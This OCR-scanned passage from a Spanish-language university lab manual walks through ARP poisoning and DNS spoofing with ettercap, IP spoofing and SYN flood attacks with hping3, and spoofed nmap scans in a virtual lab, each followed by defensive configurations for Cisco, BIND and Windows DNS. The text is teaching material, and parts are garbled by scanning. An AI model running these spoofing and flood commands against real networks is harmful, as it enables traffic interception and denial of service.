= ; N =l 5 L‘ h r\;D,/I‘ = \\ /" 3

Ssecuritv

www.offensive-security.com

OFFENSIVE SECURITY

llustracion 63: Verificando la pagina que encuentra alojada en el servidor web IS de backtrack.

3. Hacer MITM “Victima < — > Atacante < — > Gateway”

Este paso es completamente el ataque implementado he aqui donde ejecutamos ettercap
gtk3 en modo grafico donde realizaremos un arp Spoofing para envenenar la direccién
MAC y de esa forma nos renvié todas las solicitudes que haga la victima, vamos a

capturar todo el tréfico de la victima.

Nos dirigimos a:

7 BackTrack

s

1D m <

Re

P

M Pr
Sn
Spo

E
Run Command

llustracion 64: Buscando la herramienta ettercap.
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Se abre una ventana donde vamos a escoger la opcion:
= Sniff
= Unified sniffing

llustracion 65: Seleccionandoen en el menu Sniff la opcion Unified Sniffing.

Escogemos en la pestafia ethO y damos OK.

llustracion 66: Seleccionandoen la interfaz ethO.

Luego elegimos:

o Target
. Current Targets
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Mitrm Filt
=
ctri+T

jerprint

llustracion 67: Seleccionando la tarjeta de red la cual se desea escanear para verificiar las maquias que se encuentran
conectadas a la red.

Escogemos:

e Hosts.
e Primero escaneamos con Scan for hosts.

e Y luego listamos con Hosts list.

Targets Hosts Mitrm  Filters

Host List 3

ol to Target 1

llustracion 68: Verificando todas las maquinas que se encuentran conectadas a la red con sus respectivas direcciones

MAC.
. La puerta de enlace de la victima 192.168.179.1
. La ip de la victima 192.168.179.24
. La ip del atacante 192.168.179.14
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Nota: Verificamos que la IP de la victima sea la correcta dirigiéndonos en este caso a

Ubuntu y le hacemos un ifconfig para ver la IP de la maquina:

42% Aplicaciones Lugares Sistema ¥ Ty =1 wie 23 di

jose@muUubuntw: ~

y Editar “Wer Buscar Terminal Ayuda

aubuntu:~% ifconfig
Link encap: Ethernet direccidognHw @8:80:27:d7:6b: fe
DEN-T-N i net : 192 . 168. 179. 24 Difus.:192_168.179 ..
Direccion inet6: Te80::a@@:27ff: Ted7:6bTes/64 Alcance:Enlace
ACTIVO DIFUSION FUNCIOMANDO MULTICAST MTU: 1588 Metrica:1
Pagquetes RX:6152 errores:0 perdidos:8 overruns:8 frame:8
Paqu-a'rps Tf-Sb errores : perdidos: @ owverruns:8 carrier:0

TX bytes:11328 (11.32 KB)
Link enca Bucle local

Direc. imet:127.8.8.1 Masc:255.8.8.6
I:J:Lr-=cc:|_on inet6: ::1/ 128 A'Lcan _.:Anf:l_'rr:l_on

Ilustrauon 69: Verificando la direccion Ip de la maquina victima.
Luego de haber revisado que la IP si es la correcta hacemos lo siguiente:
Seleccionamos la IP de la victima y damos clic en Add to Target 1 y seleccionamos la

puerta de enlace de la victima y damos clic en Add to Target 2. Luego nos colocamos
ahora en la pestaia Targets y seleccionamos el Target 1y el Target 2:

llustracion 70: Verificando la direccion Ip que se encuentran conectada a la red y ge fueron agragadas a los Target.

Se Elije la opcion:

. Mitn
. Arp Poisonig

Aparece una ventanita donde voy a seleccionar la opcion: Sniff remote connections y Le
damos OK.
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ARP Poisoning

Damos clic en el menu Start y en el submenu Start Sniffing.
1. Cargar el plugin dns_spoof, para cargar el plugin me dirijo a: Plugins, Manage

the plugins, se abre otra pestafia donde voy a seleccionar dns_spoof.
Start Targets
Targ

MName

Tunnel bro

llustracion 72: Seleccionando el plugins dns_spoof para empezar el dns spoofing.

Otra forma de hacer este ataque DNS Spoofing es utilizando el comando ettercap que se

puede ejecutar desde la consola de Linux.

Ejemplo.
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llustracion 73: Realizando atque DNS Spoofing atraves de la via de comandos.

Donde:

-T nos indica que iniciaremos la aplicacién en modo texto (-G para iniciar la interfaz
gréfica).

-g Modo silencioso

-i Para indicar el nombre de nuestra tarjeta de red en este caso es ethl

-P Especificamos el Plugin a utilizar, para este ataque utilizamos el plugin dns_spoof.
Este es el que realiza la Suplantacion.

-M Para especificar que el tipo ataque MID (Man In the Middle), en este caso sera un
envenenamiento Arp.

/I (TARGET 1) Con las dobles barras indicamos que vamos a dirigir nuestro ataque a
cualquier puerta Gateway, esto es correcto para nuestra demostracion; pero lo indicado
es especificar la IP del Gateway.

/I (TARGET 2) Este ultimo parametro es el que indica la IP de nuestra victima, con las
dobles barras vamos a realizar un ataque a todas las maquinas e la red, se debe de tener
cuidado al usar // ya que en una red grande esto podria ocasionar una denegacion de

servicio.

En la siguiente imagen vemos como escanea la red en busca de las victimas para
realizarles un envenenamiento Arp y se activa el modo sniffing para poder revisar las

peticiones de las victimas.

ettercap ©.7.4.1

llustracion 74: Realizandose un Scan en la red en busca de las victima para el envenenamiento arp.

Unan-Ledén Pagina 162




Practicas DNS Spoofing.

Para finalizar intentamos abrir una pagina de www.xolo.com.ni en la méaquina victima

(Windows XP) y tendra que re direccionar a www.jose.com.ni que esta alojada en mi

servidor web.

Archivo Editar Ver Historial Marcadores Herramientas Ayuda

E Welcome To Backtrack 5 - Commercial =

6 www.xalo.com.ni £ ." 2 y: A
L3

Welcome, to Back|]Track 5

“ The quieter

the more yo

COMMERCIAL HELP INFORMATION ONLINE TOOLS ARCHIVES ANONYMITY

Professional Training and Tools for Security Specialists

OREENSIVES

security

www.offensive-security.com

OFFENSIVE SECURITY

&%) welcome To Backtrack ...

llustracion 75: Accediendo a una pagina spoofeada que no corresponde a la de xolo.com.ni

DEFENSA CONTRA DNS SPOOFING.

= DNS Spoofing es dificil de defenderse debido a que los ataques son en su mayoria
pasivos por naturaleza. Por lo general, nunca se sabe que su DNS esta siendo

falseado, hasta que ha sucedido.

» DEFENSA CON UNICAST REVERSE PATH FORWARDING
Unicast Reverse Path Forwarding (RPF unidifusion) es una caracteristica que puede
reducir la eficacia de los paquetes con direcciones de origen falsificadas. Un
dispositivo de red mediante Unicast FPR evalla la fuente de cada paquete IP en
contra de su tabla de enrutamiento local con el fin de determinar la validez de la

direccion de origen. Mientras que puede detectar y filtrar cierto trafico falso. Unicast

Unan-Leén Pagina 163




Practicas DNS Spoofing.

FPR funciona en dos modos: Estricta y suelto. En modo estricto, la caracteristica de
RPF de unidifusion utiliza la tabla de enrutamiento local para determinar si la
direccion de origen de un paquete se puede acceder a través de la interfaz en la que
se recibié el paquete. Si es accesible, el paquete se permite, si no lo era, el paquete
se descarta. Estricta modo Unicast FPR es el mas implementado en los limites de red

donde el trafico asimetria no es frecuente.

DEFENSA CON PRODUCTOS CISCO.

La ASA, PIX y productos FWSM firewall, Cisco System prevencion (IPS) y Cisco |I0S
NetFlow funcién, proporcionan capacidades para ayudar en la identificacion y
mitigacion de ataques relacionados con DNS. Los apartados siguientes proporcionan

una visién general de como cada dispositivo o0 caracteristica puede ser utilizada.

= DEFENSA CON DNS GUARDIA.
A partir de la version 7.0 del software (5) para Cisco ASA 5500 Series y Cisco PIX
500 Series, y version de software 4.0 para el FWSM la funcion DNS guardia puede
ser controlado a través de la configuracién del Dns-guardia global o el comando
Dns-guardia de los pardmetros de modo secundario de la politica -map tipo
inspeccionar Dns, la funcion DNS guardia siempre esta habilitada.

= Configuracién DNS Guardia
Para determinar si la funciébn de DNS guardia esta activado a nivel mundial, busca la
siguiente cadena en la configuracion del servidor de seguridad para versiones de
software 7.0 (5), y Cisco ASA 5500 Series y Cisco PIX 500 dispositivos de la serie:

Firewall # show running-config dns-guardia

Firewall #

Si la funcion DNS guardia se ha deshabilitado, se puede volver a activar mediante los
comandos siguientes versiones de software 7.0 (5), y Cisco ASA 5500 Series y Cisco
P1X 500 dispositivos de la serie:

Firewall # configure terminal
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Firewall (config) # dns-guardia

Firewall (config) # exit

Firewall #

En las versiones de software 7.2 (1), y Cisco ASA 5500 Series y Cisco PIX 500
dispositivos de la serie, los administradores pueden habilitar la funcionalidad de DNS
guardia través de la inspeccion de aplicaciones DNS y el Marco de Politicas Modular
(MPF).

DNS Solicitud de Inspeccién

Capa de aplicacion del protocolo de inspeccion es disponible a partir de 7,0 software
de lanzamiento para el 5500 Cisco ASA y Cisco PIX 500 Series y cortafuegos en la
version de software 3.1 para el Firewall FWSM aunque la capa de aplicacion del

protocolo de inspeccién disminuira el rendimiento del firewall.

= BERKELEY INTERNET NAME DOMAIN.

Berkeley de nombres de dominio de Internet (BIND), un producto de software de
Internet System Consortium, Inc., implementa el protocolo DNS. Las siguientes
configuraciones se pueden aplicar a enlace para que el servidor DNS no pudiera
actuar como un re solucionador abierto. Estas configuraciones se aplican en el
archivo de configuracion 'named.conf. Los ejemplos de configuraciéon de BIND

usaran la versiéon 9.5.

¢ Des habilitacién de larecursion
Options {
Recursion no;
3
Permiso de recursividad de Fuentes de Confianza
/ | Direcciones en el bloque de red 192.168.1.0/24
Options {
allow-recursion {192.168.1.0/24;};
3
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Permitir consultas de fuentes de confianza

/1 En el bloque de red 192.168.1.0/24. El "allow-query-cache
Options {

allow-query {192.168.1.0/24;};
3

Permitir y Denegar recursiva usando una ACL

/I Crear una lista de acceso (ACL) define como "recursivo permiso”
Acl recursivo permiso {

192.168.1.0/24, 10.0.1.0/24, 172.16.1.0/24, 172.31.1.0/24;

%

/| Crear una lista de acceso (ACL) define como "bogon-deny 'que
aclbogon-deny {

/8,1.0.0.0/8,2.0.0.0/8, 192.0.2.0/24; 224.0.0.0/ 3;
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16;

%

/I Aplicar 'recursivo permiso »ACL creado anteriormente para las opciones
Options {

/ | Salida truncada.

allow-recursion {recursivo permiso;};

allow-query {recursivo permiso;};

/ | Salida truncada.

blackhole {bogon-deny;};

3

= DEFENSA CON DNS SERVICE.

El servicio Servidor DNS es un producto de software proporcionado por Microsoft
Corporacion que implementa el protocolo DNS. Las siguientes configuraciones se pueden
aplicar para el servicio de servidor DNS para evitar que el servidor que actia como
resolucion abierta. Estas configuraciones se aplican al servicio de servidor DNS ya sea a

través de la interfaz de usuario de Windows (Ul) o desde la linea de comandos (CLI).
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Deshabilitacion de la recursiéon con lainterfaz de usuario de Windows.

Los pasos siguientes proporcionan informacién sobre como deshabilitar la recursividad

para el servicio de servidor DNS mediante la interfaz de usuario de Windows (Ul).

1. DNS abiertos mediante el siguiente procedimiento:

. Haga clic izquierdo en Inicio

. Haga clic izquierdo en el panel de control

. Haga doble clic en Herramientas administrativas

. Haga doble clic en DNS

2. En el &rbol de consola, haga clic en el servidor DNS que recursion se deshabilitara

para a continuacion, seleccione Propiedades.
3. A continuacion, haz clic en la pestafia Opciones avanzadas.
4. Dentro s Servidor opcidn, seleccione la casilla de verificacion Deshabilitar la

recursividad y luego haga clic sobre Aceptar.
Des habilitacién de la recursién usando Windows a través de lalinea de comandos.

En el ejemplo siguiente se proporciona informacion acerca de cémo deshabilitar la
recursividad para el servicio de servidor DNS mediante la linea de comandos de
Windows) CLI.

1. Abra un simbolo del sistema mediante el siguiente procedimiento:

. Haga clic izquierdo en Inicio

. Haga clic izquierdo en Run

. Aparecera el cuadro de didlogo Ejecutar aparecera

. Escriba cmd en el cuadro de texto a la derecha de "Abrir:"

2. En el simbolo del sistema, ejecute el comando siguiente: Dnscmd / Config /

NoRecursion {1 | 0}

Dénde:

Dnscmd: Este es el nombre de la herramienta que se utiliza desde la linea de comandos

para realizar tareas administrativas para el servicio de servidor DNS.
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/ Config: especifica que el argumento para el comando dnscmd aplica a la configuracién

del servicio Servidor DNS.

/ NoRecursion: Especifica que un argumento de 1 o 0, se sigue para deshabilitar o

habilitar la recursién para el servicio Servidor DNS.

{1 | O} Este es el nombre de la herramienta que se utiliza desde la linea de comandos

para realizar tareas administrativas para el servicio de servidor DNS.

= LISTA DE CONTROL DE ACCESO.
El ejemplo que sigue muestra como ACL se pueden emplear con el fin de limitar la
falsificacion de IP. La ACL se aplica entrante en la interfaz deseada. Las ACE que
componen esta ACL no son integrales. Si configura este tipo de ACL, buscar una

referencia, al dia que es concluyente.

|

Ip access-list extendido ACL-antispoof-IN
Deny ip 10.0.0.0 0.255.255.255 cualquier
Deny ip 192.168.0.0 0.0.255.255 cualquier
!

Interfaz Ethernet 0/0

ip access-group ACL-antispoof-IN en
!
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11.3 PRACTICA: IP SPOOFING.

Introduccion.

Esta practica consiste la realizacién del ataque IP Spoofing. Dicho ataque se realizara de
manera virtual con la ayuda de Virtual Box y 2 maquina virtual por ejemplo Windows xp
y Ubuntu server, el ataque se implementara con la ayuda de la herramienta de hping3
bajo la plataforma de Linux y también la herramienta Nmap.

Consiste basicamente en sustituir la direccion IP origen de un paquete TCP/IP por otra
direccién IP a la cual se desea suplantar. Esto se consigue generalmente gracias a
programas destinados a ello y puede ser usado para cualquier protocolo dentro de TCP/IP
como ICMP, UDP o TCP.

Objetivos.

e Llevar a cabo el ataque con la herramienta Hping3 (Linux).
e Llevar a cabo el ataque con la herramienta Nmap (Linux).
e Realizar el analisis del trafico con la ayuda de Wireshark.

¢ Brindar conocimientos de IP (Internet Protocol).

e Implementar el ataque Flooding.
Requerimientos para la realizacion de la préactica.

e Tener instalado algun programa de virtualizacion por ejemplo Virtual Box.

e Tener instalado un el sistema operativo Backtrack.

e Contar con maquinas virtual que seran la victima por ejemplo: Windows xp o
Ubuntu Server.

e Tener instalados un analizador de protocolo por ejemplo: Wireshark.

e Contar con la herramienta para realizar el ataque por ejemplo: Hping3 y Nmap.

Desarrollo.

IP Spoofing es un proceso que permite al atacante ocultar su verdadera identidad cuando

se comunica con el sistema de destino, por lo tanto, los paquetes de datos que el
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atacante envia aparecera originan en otro sistema. Por ejemplo, suponga que su direccién
IP es 192.168.56.1 y la direccion IP del sistema de destino es 192.168.56.102.
Normalmente, cuando se envia un mensaje al sistema de destino, el sistema detecta la
direccién IP de su sistema, 192.168.56.1. Cuando se utiliza IP Spoofing, su direccion IP
se sustituye con una direccion IP falsa (por ejemplo: 192.168.56.102), por lo que es

bastante dificil para el sistema de destino para rastrear

Escenario donde se implementara el ataque.

192 16856 101 p
Host de Gonfianza j

-2 -7,,(/;@
19/)2\.168.56.1 192.168.56.102
tacante

IP Falsa 192.166.56.101 Victima

llustracion 76: Escenario a desarrollar en ataque Ip Spoofing.

1. Atague: 192.168.56.1 (Maquina REAL)

2. Victima: 192.168.56.102 (Maquina VICTIMA)

3. Falso: 192.168.56.101. (Maquina Confianza)

Normalmente, si el Real fuera a enviar paquetes de datos en el sistema VICTIMA, la
direccién de la fuente de estos paquetes se muestra claramente que el Real les ha
enviado. Sin embargo, con el uso de IP Spoofing Real enviar los paquetes de datos a

VICTIMA de tal manera que ellos parecen haber sido enviados desde el FALSO sistema.

PROBLEMAS CON IP Spoofing.

* Maquina confianza debe existir y debe estar conectado a Internet
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* FALSOS no debe en ningin momento responder a la SYN / ACK de paquetes que
VICITIMA le envia.
* Si usted es la explotacion de una relacion de confianza, entonces FALSO debe ser

elegido de tal manera que la VICTIMA y FALSO tienen una relacion de confianza entre si

La realizacién de este ataque es sencillo y rapido, de una manera rpida se logra
suplantar una IP origina por una IP falsa, desde la terminal de Ubuntu instalamos el
paquetes hpin3 en su versidon mas reciente. (Esta es la version utilizada en esta practica).
La herramienta hping3 es un analizador/ensamblador de paquetes TCP/IP de uso en
modo consola. Esté inspirado en el comando ping de Unix, aunque a diferencia de éste,
Hping no solo es capaz de enviar paquetes ICMP sino que ademas también puede enviar
paguetes TCP, UDP, y RAW-IP.

Herramienta hping3.

Para proceder a su instalacion simplemente hay que escribir en la terminal de Ubuntu el

siguiente comando:
Sudo apt-get installs hping3.

Luego que el paquete se encuentra instalado el ataque se llevara a cabo a través de
lineas de comandos. Pero antes tenemos que iniciar la maquina victima (Windows xp), y
poder observar su direccion IP, informacién que se obtendra con la ayuda del comando
IPCONFIG.

e

daptador Ethernet Conexion de area local

Sufijo de conexidn especifica DHS

192.168.56 .181
255.255.255 .8

ireccdidn IP. . . . .
Mascara de subred . . . . . . .
Fuerta de enlace predeterminada

llustracion 77: Verificando la direccién IP en Windows

Se observa que la direccion IP correspondiente a la méquina de confianza es la
192.168.56.101 y ahora procedemos a la realizacion del ataque. Ahora verificaremos la
direccién IP correspondiente a la maquina a la cual sera realizado dicho ataque, en esta

practica la maquina corresponde a Ubuntu server y utilizamos el comando IFCONFIG.
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Link encap:Ethernet

imet adde:1° g E 9 4 Hask :295.2595.2595.0
j_|||:| G [ 3 1} [ :
Retric:1
0 frame:0
areier 0

yles:1152 (1.1 KB

llustracion 78: Verificando las Direccioén IP en cliente Linux.
Se observa que la direccion IP correspondiente a la maquina victima es la

192.168.56.101 y ahora procedemos a la realizacion del ataque.

Nota: por motivo de demostracion tuvo que ser mostrada la direccién correspondiente a
ambas maquinas pero con él la herramienta Nmap podemos obtener una lista de todos

los host que se encuentran en la red y asi poder determinar las dos maquinas que seran

utilizada en dicho ataque por ejemplo:

nmap —sN 192.168.56.0/24

root@rodolfo-laptop:/7home/rodolfTo®# nmap -sN 192.168.56.60/24

Starting Nmap 5.0 ( http://mmap.org ) at 2012-11-24 22:37 CST
1096 scanned ports on 192.168.56.1 are closed

1900 scanned ports on 192.168.56.100 are open|filtered
Address: ©8:00:27:16:4C:27 (Cadmus Computer Systems)

10900 scanned ports on 192.168.56.101 are closed
Address: 68:00:27:A4:64:88 (Cadmus Computer Systems)

190806 scanned ports on 192.168.56.162 are closed
Address: ©8:080:27:C1:4D:96 (Cadmus Computer Systems)

Nmap done: 256 IP addresses (4 hosts up) scanned in 34.14 seconds
root@rodolfo-laptop: /7home/rodolfo# .

llustracién 79: Utilizando la herramienta Nmap y la IP 192.168.56.0/24

Nmap —sP 192.168.56.0/24
root@rodolfo-laptop: /home/rodolfo# nmap -sP 192.168.56.0/24

Starting Nmap 5.8 ( http://nmap.org )} at 2012-11-24 22:41 CST
Host 192.168.56.1 is up.

Host 192.168.56.160 1s up (0.000096s latency).

MAC Address: 88:868:27:16:4C:27 (Cadmus Computer Systems)

Host 192.168.56.181 is up (©.00090s latency).

MAC Address: 88:80:27:A4:64:B8 (Cadmus Computer Systems)

Host 192.168.56.182 is up (0.00092s latency).

MAC Address: 88:80:27:C1:4D:96 (Cadmus Computer Systems)

Nmap done: 256 IP addresses (4 hosts up) scanned in 16.29 seconds
root@rodolfo-laptop: /home/rodolfo# |}

llustracion 80: Utilizando la herramienta Nmap y la IP 192.168.56.0/24

Unan-Ledén Pagina 173




Practicas IP Spoofing.

Ahora vamos a generar trafico en la red desde un ordenador con IP = 192.168.56.101,
este ordenadores en realidad la IP del host de confianza que sera utilizada por el atacante
para ocultar su identidad verdadera. Desde la linea de comando se hara uso del hping3 y
se indicara los parametros como la direccion de origen, puerto destino, direccion de
destino.

Entonces desde linea de comando realizamos lo siguiente:
Sudo hping3-a192.168.56.1 -t 123 -s 100 -p 80 192.168.56.102

-a: Direccion origen.

-t: Valor del TTL.

-s: Puerto origen.

-p: Puerto destino.

<Host>: Direccion de destino.

root@rodolfo- laptop: /home/rodolfo# sudo hping3 -3 192,168.56.101 -t 123 -5 100 -p 80 192.168.56.162
HPING 192,168,56.102 (vboxnet® 192,168.56.102): NO FLAGS are set, 40 headers + 0 data bytes

“C

i--- 192,168.56.102 hping statistic ---

115 packets transmitted, 6 packets received, 106% packet loss
round-trip min/avg/max = 6.6/6.6/6.6 ms
root@rodolfo-1aptop: /home/rodol fof ||

llustracion 81: Utilizando la herramienta Hping, realizando el ataque desde la maquina 192.168.56.1 y utilizando
la direccion falsificada 192.168.56.101 hacia la victima 192.168.56.102

Ahora iniciamos Wireshark para capturar paquetes y ver el resultado.

1376. 898450 152.168.56.181 192.168.56. 182 TCP snagas > hitp [<Mone=] Seq=l Win=512 Len=0
1377898651 192.168.56. 101 192.168.536. 182 TCP popd > http [<None=] Seg=1 Win=512 Len=6
1378898649 152.168.56.181 192.168.56.182 P pap3 = http [<None=] Seq=1 Win=512 Len=@
1379.899039 192.168.56. 101 192.168.56. 182 P sunrpc > http [<None»] Segq=1 Win=512 Len=0
1380.599218 152.168.56.181 192.168.56. 182 TCP ncidas = http [<None»] Seq=1 Win=512 Len=0
1381.899452 192.168.56.181 192.168.36. 182 TCP ident > http [<None»] Segq=1 Win=512 Len=0
1382899636 182.168.56.181 192.168.56. 182 TCP 114 = http [<None>] Seg=1 Win=512 Len=p
1383599855 132.168.56.101 192,168, 36.182 TCP sftp » http [<None=] Segq=1 Win=512 Len=0
1384900090 182.168.56.181 192.168.56. 162 TCP ansanotify = http [<None=| Seq=1 Win=512 Len=

llustracion 82: Utilizando la herramienta Wireshark para el andlisis del trafico.
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Como se puede ver en la imagen, los paquetes generados no llevan la direccién IP del
ordenador real (192.168.56.1), si no que llevan la que se ha falseado en
(192.168.56.101).

ATAQUE FLOODING.

Siempre utilizando la herramienta de hpin3, se realizara el ataque SYN Flood, El
objetivo de un ataque de este tipo es el envio de peticiones de conexién TCP mas rapido
de lo que una maquina puede procesar, al fin de saturar los recursos y evitar que la
maquina pueda aceptar mas conexiones. Para realizar este ataque lo llevamos a cabo

desde linea de comandos por ejemplo:
hpin3 —a 192.168.56.101 —p 80 -S - -flood 192.168.56.102

Donde:

-p 80: es el puerto que elegimos atacar.

-S: activa el Flag Syn.

--Flood: le indica a Hping que envié los paquetes a la maxima velocidad posible.
ip_victima: es la ip o dominio a atacar. Si queremos que nuestra ip no sea visible

podemos afiadirle la opcién -a y la ip que vamos a falsear.

root@rodolfo-1laptop:/home/rodolfo# hping3 -a 192.168.56.181 -p 88 -S --flood 192.168.56.102
HPING 192.168.56.102 (vboxnet® 192.168.56.102): S set, 46 headers + 0 data bytes

hping in flood mode, no replies will be shown

~C

192.168.56.102 hping statistic
2272851 packets transmitted, O packets received, 166% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@rodolfo-laptop: /home/rodol fo#

llustracion 83: Realizando inundacion tipo Flood, utilizando la direccién 192.168.56.101 y dirigiendo dicho ataque
a la direccion 192.168.56.102.

Se puede observar que fueron enviados 2272851 paquetes transmitidos hasta el
momento de la interrupcion del ataque, en donde no se obtuvieron como resultado un

100% de paquetes perdidos.

De igual manera se puede realizar un ataque con una Ip falsa a la direccién de Broadcast

por ejemplo:
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hpin3 —a 192.168.56.101 - -Flood 192.168.56.255

O mucho més interesante generar ip falsas para que sea mas dificil el rastreo de la

direccién que realiza el ataque por ejemplo:
Hapin3 192.168.56.101 — rand source =S — destport 80 -- faster
HERRAMIENTA NMAP.

Nmap es un programa de codigo abierto que sirve para efectuar rastreo de puertos. Se
usa para evaluar la seguridad de sistemas informaticos, asi como para descubrir servicios
o servidores en una red informatica.Primeramente realizamos un scan para obtener todos

los host que se encuentran active en la red con el siguiente comando.

nmap —sP 192.168.56.0/24
root@rodolfo-laptop: fhome/rodolfo# mnmap -sP 192.168.56.0/24

Starting Nmap 5.88 ( http://mmap.org ) at 2012-11-24 22:41 CST
Host 192.168.56.1 is up.

Host 192.168.56.108 is up (©0.080096s latency).

MAC Address: BB:00:27:16:4C:27 (Cadmus Computer Systems)

Host 192.168.56.101 is up (0.8800980s latency).

MAC Address: BB:00:27:A4:64:B8 (Cadmus Computer Systems)

Host 192.168.56.1082 is up (0.880092s5 latency).

MAC Address: BB:00:27:C1:4D:96 (Cadmus Computer Systems)

Mmap done: 256 IP addresses (4 hosts up) scanned inm 16.29 seconds
root@rodolfo-laptop: f/home/rodol fo# l

llustracion 85: Realizando Scan con la herramienta Nmap para verificar las maquinas activas en la red.

Se puede observar un listado de todos los host activos, en el cual se obtiene la
direcciones IP del host de confianza (IP: 192.168.56.10 MAC 08:00:27:A4:64:B8) y el
host victima (IP: 192.168.56.102 MAC 08:00:27:C1:4D:96).
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Procedemos a realizar un ataque sencillo de cerrar el puerto 80 en la maquina de

confianza y la victima.

Nmap —sS —p80 192.168.56.101 —e vboxnet0 —PN 192.168.56.102
root@rodolfo-laptop:/home/rodolfo# nmap -sS -p8@ 192.168.56.181 -e vboxnet® -PN 192.168.56.102

Starting Nmap 5.80 ( http://nmap.org ) at 2812-11-24 22:58 CST
Interesting ports on 192.168.56.101:

PORT STATE SERVICE

88/tcp closed http

MAC Address: 08:00:27:A4:64:B8 (Cadmus Computer Systems)

Interesting ports on 192.168.56.102:

PORT STATE SERVICE

88/tcp closed http

MAC Address: ©8:00:27:C1:4D:96 (Cadmus Computer Systems)

Nmap done: 2 IP addresses (2 hosts up) scanned in 13.78 seconds
root@rodolfo-laptop:/home/rodolfo# ||

llustracion 86: Realizando Scan con la direccion falseada 192.168.56.101 hacia la direccién IP victima
192.168.56.102.

Donde:
Nmap: Comando.

-sS: Escaneo TCP SYN, se envian paquetes SYN, denominada como escaneo medio

abierto por que envia paquetes como si fuera abrir una conexion.
- p 80: Puerto http.
192.168.56.101: IP falseada.
-e: interfaz.
Vboxnet0: nombre de la interfaz anfitrion (por ejemplo eth0, ethl)
192.168.56.102: IP de la maquina Victima.
Otros Puertos que se pueden aplicar nmap.
Puerto 53 Dns.

nmap —sS —p53 192.168.56.101 —e vboxnetO —PN 192.168.56.102
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Starting Nmap 5.88 ( http://nmap.org ) at 2012-11-25 11:13 CST
Interesting ports on 192.168.56.101:

PORT STATE SERVICE

1S3/tcp closed domain

MAC Address: 88:88:27:A4:64:B8 (Cadmus Computer Systems)

Interesting ports on 192.168.56.102:

PORT STATE SERVICE

53/tcp closed domain

MAC Address: ©88:80:27:C1:4D:96 (Cadmus Computer Systems)

Nmap done: 2 IP addresses (2 hosts up) scanned in 14.18 seconds
root@rodolfo-laptop: /home/rodolfo#

llustracion 87: Utilizando la herramienta Nmap contra el Puerto 53.

28 42.630378 (adusCo c1:4d:%6  Oa:06:27:06:00:00  ARP  192.168.36.162 is at 08:00:27:c1:4d:%¢
29 42.638431 192.168.36.1 137.168.36. 101 TP 35867 > donain [SYN] Seq=d Win=4p3% L¢
30 42.638472 192.168.56.1 192.168.56.102 TP 35087 > domain [SYN) Seq=d Win=1024 Le
31 42.531316 192,168.56.10] 197,168, 56.] (P dowain > 35687 [RST, ACK] Seqr

32 42.631589 192.168.56.162 52.168.56. donain > 35007 [RST, ACK] Seq=] Ack<]
33 47.637436 CadnisCo cl:dd:%6  Ba:0:27:06:00:00  ARP  Who has 192.168.56.17 Tell 192,168.5¢
34 41.637485 02:00:27:00:00:00  CadousCo cl:d4d:%6  ARP 192.168.56.1 15 at 0a:00:27:00:00:00

llustracion 88: Realizando el trafico con la Herramienta Wireshark.

Nmap —sS —p23 192.168.56.101 —e vboxnet0 —PN 192.168.56.102

root@rodolfo-laptop: /home/rodolfo# nmap -sS -p23 192.168.56.101 -e vboxnet® -PN 192.168.56.102

Starting Nmap 5.8 ( http://mmap.org ) at 2012-11-25 11:14 CST
Interesting ports con 192.168.56.101:

PORT STATE SERVICE

23/tcp closed telnet

MAC Address: 88:80:27:A4:64:B8 (Cadmus Computer Systems)

Interesting ports on 192.168.56.102:

PORT STATE SERVICE

23/tcp closed telnet

MAC Address: 68:80:27:C1:4D:96 (Cadmus Computer Systems)

Nmap done: 2 IP addresses (2 hosts up) scanned in 13.83 seconds
root@rodolfo-laptop: /home/rodolfo# l

llustracion 89: Utilizando la herramienta Nmap contra el Puerto 23.

36 167.464832 CadnusCo ad:64:08  6:00:27:00:00:00  ARP  192,166.36.101 15 at 0:00:27:a4:64:01
39 128462125 192.166.36.1 132.168. 36, 162 TP 44837 » telnet [SYN] Seqed Wine1024 L
49 126.4629%6 192.168.56.102 192.168.56.1 (P telnet > 44637 [RST, ACK] Seqel Ackel
41 120.46347 192,168.56.1 192,168 36. 101 TP 4837 > telnet [SYN] Seqed Win=1624 L
&4 10.40a43 192,168,560, 161 13, 168.30.1 telnet > 44037 [RST, ACK] Seg=l Ack-1
43 125.45971 CadhusCo cl:4d:96  B:00:27:00:00:00 AR Who has 192.168.56.17 Tell 192,168,
44 125.438810 0a:00:7:00:00:00  CadnusCo cl:4d:9%  ARP 192.168.36.1 15 at 0a:00:27:00:60:00

llustracién 90: Realizando el trafico con la Herramienta Wireshark.
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DEFENSA CONTRA IP SPOOFING.

= Esconde servicios

Nmap tiene una lista de los puertos mas usuales, un escaneo por defecto, sin especificar
qué rango de puertos se quiere auditar, tira de esa lista escoge los 1000 puertos mas
utilizados para intentar encontrar alguno abierto. Esta lista usualmente esta en

/usr/share/nmap/nmap-services.

= DEFENSA CON DISPOSITIVOS CISCO.

BLOQUEAR DIRECCIONES IP

Bloguear el posible acceso a nuestra red de paquetes originados en direcciones IP que no
se consideran legitimas, es frecuente que quienes desean ocultar su identidad utilicen con
este proposito direcciones IP privadas u otro tipo de direcciones IP reservadas o
especiales. La siguiente es entonces una lista de redes que deben ser filtradas con este
proposito, ya que nunca debiéramos recibir en nuestra red un paquete cuya direccion de

origen fuera una de las siguientes:

10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8, 224.0.0.0/3, 169.254.0.0./16

Un modo sencillo de prevenir este tipo de accesos es filtrar estas direcciones en el punto
de acceso del trafico desde Internet. El filtro que generemos deberé filtrar cualquier trafico
gue tenga como origen cualquiera de la direccion comprendida dentro del rango de redes

que definimos antes, por ejemplo:

Router#configure terminal

Router(config)#ip access-list extended antispoof
Router(config-ext-nacl)#deny ip 10.0.0.0 0.255.255.255 any
Router(config-ext-nacl)#deny ip 172.16.0.0 0.15.255.255 any
Router(config-ext-nacl)#deny ip 192.168.0.0 0.0.255.255 any
Router(config-ext-nacl)#deny ip 127.0.0.0 0.255.255.255 any
Router(config-ext-nacl)#deny ip 224.0.0.0 31.255.255.255 any
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Router(config-ext-nacl)#deny ip 169.254.0.0 0.0.255.255 any
Router(config-ext-nacl)#permit ip any any
Router(config-ext-nacl)#exit

Router(config)#interface serial0/0

Router(config-if)#ip access-group anti spoofing
Configurar IP Spoofing y proteccién IPS con un CISCO ASA 5500 firewall.

El Cisco ASA dispositivo de cortafuegos protege gran seguridad fuera de la caja con su
configuracion predeterminada. Sin embargo, para aumentar la proteccion de seguridad
aun mas, hay varias mejoras de configuracion que se pueden utilizar para implementar

caracteristicas de seguridad adicionales.

